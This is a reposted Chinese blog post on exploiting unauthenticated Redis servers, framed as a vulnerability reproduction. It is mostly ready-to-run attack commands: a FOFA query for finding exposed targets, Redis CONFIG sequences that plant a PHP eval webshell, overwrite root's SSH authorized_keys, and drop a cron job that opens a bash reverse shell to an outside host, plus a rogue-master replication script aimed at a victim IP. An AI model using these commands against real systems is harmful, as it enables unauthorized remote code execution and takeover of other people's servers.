本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-Redis未授权利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
0x03 漏洞复现
漏洞环境:redis-4.0.11
FOFA: app=”redis”
1.通过空口令连接
redis-cli -h x.x.x.x
2.查看设置目录和设置文件
CONFIG GET dir #设置目录
CONFIG GET dbfilename #设置文件名
3.利用方式一、写webshell,蚁剑连接成功(知道物理路径且web目录有写权限写webshell)
config set dir /var/www/html/ #数据保存路径,网站根目录(根据实际情况来)
set xx \"\\n\\n\\n<?php @eval($_POST[\'x\']);?>\\n\\n\\n\" #数据保存文件名,写入一句话木马
config set dbfilename shell.php #生成木马文件shell.php
save #保存
4.利用方式二、写ssh-keygen公钥,连接成功(开启22端口且权限够大的情况下写公钥)
config set dir /root/.ssh #切换到密钥路径
config set dbfilename authorized_keys #写入文件名
set miyao \"\\n\\n\\n你的密钥\\n\\n\\n\" #写入密钥
save #保存
ssh -i id_rse root@IP #连接ssh
5.利用方式三、写计划任务,nc监听得到shell(能够回连且权限够的话)
nc -lvvp 7779 #监听77779端口
set payload \"\\n* * * * * bash -i >& /dev/tcp/x.x.x.x/4444 0>&1\\n\" #设置变量值为反弹shell语句
config set dir /var/spool/cron/ #设置目录为目标机定时任务目录
config set dbfilename root #设置文件名
save #保存
6.利用方式四、redis主从复制<= 5.0.5(为了减轻 redis 服务器在访问量过大时的负担,可以采用主(master)从(slave)模式。简单说就是一主多从,slave 异步复制 master 数据,master 负责写入数据,slave 负责读出数据。这种攻击的利用方式是攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。和前面几种比,这种要求权限小,成功率更高)
https://github.com/n0b0dyCN/redis-rogue-server #下载脚本
python3 redis-rogue-server.py --rhost 受害者IP --lhost 攻击者IP --exp=exp.so
THE END
暂无评论内容